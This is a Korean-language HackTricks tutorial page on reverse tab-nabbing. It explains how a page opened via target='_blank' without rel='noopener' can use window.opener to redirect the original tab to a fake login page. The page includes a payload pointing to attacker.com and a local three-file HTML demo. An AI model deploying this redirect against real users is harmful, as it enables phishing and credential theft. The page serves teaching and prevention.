Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

μ„€λͺ…

κ³΅κ²©μžκ°€ ν”Όν•΄μžκ°€ 클릭할 <a νƒœκ·Έμ˜ href 인자λ₯Ό μ œμ–΄ν•  수 μžˆλŠ” μƒν™©μ—μ„œ, κ³΅κ²©μžλŠ” 이 링크λ₯Ό μžμ‹ μ˜ μ œμ–΄ ν•˜μ— μžˆλŠ” μ›Ή(μ•…μ„± μ›Ήμ‚¬μ΄νŠΈ)으둜 μ§€μ •ν•©λ‹ˆλ‹€. 그런 λ‹€μŒ, ν”Όν•΄μžκ°€ 링크λ₯Ό ν΄λ¦­ν•˜κ³  곡격자의 μ›Ήμ‚¬μ΄νŠΈμ— μ ‘κ·Όν•˜λ©΄, 이 μ•…μ„± μ›Ήμ‚¬μ΄νŠΈλŠ” μžλ°”μŠ€ν¬λ¦½νŠΈ 객체 **window.opener**λ₯Ό 톡해 μ›λž˜ νŽ˜μ΄μ§€λ₯Ό μ œμ–΄ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
νŽ˜μ΄μ§€μ— **rel="opener"**κ°€ μ—†μ§€λ§Œ target="_blank"κ°€ ν¬ν•¨λ˜μ–΄ 있고 rel="noopener"κ°€ μ—†μœΌλ©΄, λ˜ν•œ μ·¨μ•½ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

이 행동을 μ•…μš©ν•˜λŠ” 일반적인 방법은 window.opener.location = https://attacker.com/victim.html을 톡해 μ›λž˜ μ›Ήμ˜ μœ„μΉ˜λ₯Ό κ³΅κ²©μžκ°€ μ œμ–΄ν•˜λŠ” μ›ΉμœΌλ‘œ λ³€κ²½ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€. 이 웹은 μ›λž˜ μ›Ήμ‚¬μ΄νŠΈμ²˜λŸΌ 보이도둝 ν•˜μ—¬ μ›λž˜ μ›Ήμ‚¬μ΄νŠΈμ˜ 둜그인 양식을 λͺ¨λ°©ν•˜κ³  μ‚¬μš©μžμ—κ²Œ 자격 증λͺ…을 μš”μ²­ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

κ·ΈλŸ¬λ‚˜ κ³΅κ²©μžκ°€ 이제 μ›λž˜ μ›Ήμ‚¬μ΄νŠΈμ˜ μœˆλ„μš° 객체λ₯Ό μ œμ–΄ν•  수 μžˆμœΌλ―€λ‘œ, κ·ΈλŠ” 이λ₯Ό λ‹€λ₯Έ λ°©μ‹μœΌλ‘œ μ•…μš©ν•˜μ—¬ μ€λ°€ν•œ 곡격을 μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€(μ•„λ§ˆλ„ μžλ°”μŠ€ν¬λ¦½νŠΈ 이벀트λ₯Ό μˆ˜μ •ν•˜μ—¬ κ·Έκ°€ μ œμ–΄ν•˜λŠ” μ„œλ²„λ‘œ 정보λ₯Ό μœ μΆœν•  수 있겠죠?).

κ°œμš”

λ°± 링크가 μžˆλŠ” 경우

예방 속성이 μ‚¬μš©λ˜μ§€ μ•Šμ„ λ•Œ λΆ€λͺ¨ νŽ˜μ΄μ§€μ™€ μžμ‹ νŽ˜μ΄μ§€ κ°„μ˜ 링크:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png

λ°± 링크가 μ—†λŠ” 경우

예방 속성이 μ‚¬μš©λ  λ•Œ λΆ€λͺ¨ νŽ˜μ΄μ§€μ™€ μžμ‹ νŽ˜μ΄μ§€ κ°„μ˜ 링크:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png

예제

폴더에 λ‹€μŒ νŽ˜μ΄μ§€λ₯Ό μƒμ„±ν•˜κ³  python3 -m http.server둜 μ›Ή μ„œλ²„λ₯Ό μ‹€ν–‰ν•©λ‹ˆλ‹€.
그런 λ‹€μŒ, μ ‘κ·Ό http://127.0.0.1:8000/vulnerable.html, ν΄λ¦­ν•˜μ—¬ 링크λ₯Ό ν΄λ¦­ν•˜κ³  μ›λž˜ μ›Ήμ‚¬μ΄νŠΈμ˜ URL이 λ³€κ²½λ˜λŠ” 것을 μ£Όλͺ©ν•˜μ„Έμš”.

<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

Accessible properties

ꡐ차 좜처 접근이 λ°œμƒν•˜λŠ” μ‹œλ‚˜λ¦¬μ˜€μ—μ„œ, opener JavaScript 객체 참쑰둜 μ§€μΉ­λ˜λŠ” window JavaScript 클래슀 μΈμŠ€ν„΄μŠ€μ˜ 속성은 μ•…μ˜μ μΈ μ‚¬μ΄νŠΈκ°€ μ ‘κ·Όν•  수 μžˆλŠ” κ²ƒμœΌλ‘œ μ œν•œλ©λ‹ˆλ‹€:

  • opener.closed: 이 속성은 창이 λ‹«ν˜”λŠ”μ§€ μ—¬λΆ€λ₯Ό ν™•μΈν•˜κΈ° μœ„ν•΄ μ ‘κ·Όλ˜λ©°, λΆˆλ¦¬μ–Έ 값을 λ°˜ν™˜ν•©λ‹ˆλ‹€.
  • opener.frames: 이 속성은 ν˜„μž¬ μ°½ λ‚΄μ˜ λͺ¨λ“  iframe μš”μ†Œμ— λŒ€ν•œ 접근을 μ œκ³΅ν•©λ‹ˆλ‹€.
  • opener.length: ν˜„μž¬ 창에 μ‘΄μž¬ν•˜λŠ” iframe μš”μ†Œμ˜ 수λ₯Ό 이 속성이 λ°˜ν™˜ν•©λ‹ˆλ‹€.
  • opener.opener: 이 속성을 톡해 ν˜„μž¬ 창을 μ—° 창에 λŒ€ν•œ μ°Έμ‘°λ₯Ό 얻을 수 μžˆμŠ΅λ‹ˆλ‹€.
  • opener.parent: 이 속성은 ν˜„μž¬ 창의 λΆ€λͺ¨ 창을 λ°˜ν™˜ν•©λ‹ˆλ‹€.
  • opener.self: 이 속성은 ν˜„μž¬ μ°½ μžμ²΄μ— λŒ€ν•œ 접근을 μ œκ³΅ν•©λ‹ˆλ‹€.
  • opener.top: 이 속성은 κ°€μž₯ μƒμœ„μ˜ λΈŒλΌμš°μ € 창을 λ°˜ν™˜ν•©λ‹ˆλ‹€.

κ·ΈλŸ¬λ‚˜ 도메인이 λ™μΌν•œ 경우, μ•…μ˜μ μΈ μ‚¬μ΄νŠΈλŠ” window JavaScript 객체 참쑰에 μ˜ν•΄ λ…ΈμΆœλœ λͺ¨λ“  속성에 μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Prevention

예방 μ •λ³΄λŠ” HTML5 Cheat Sheet에 λ¬Έμ„œν™”λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€.

References

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°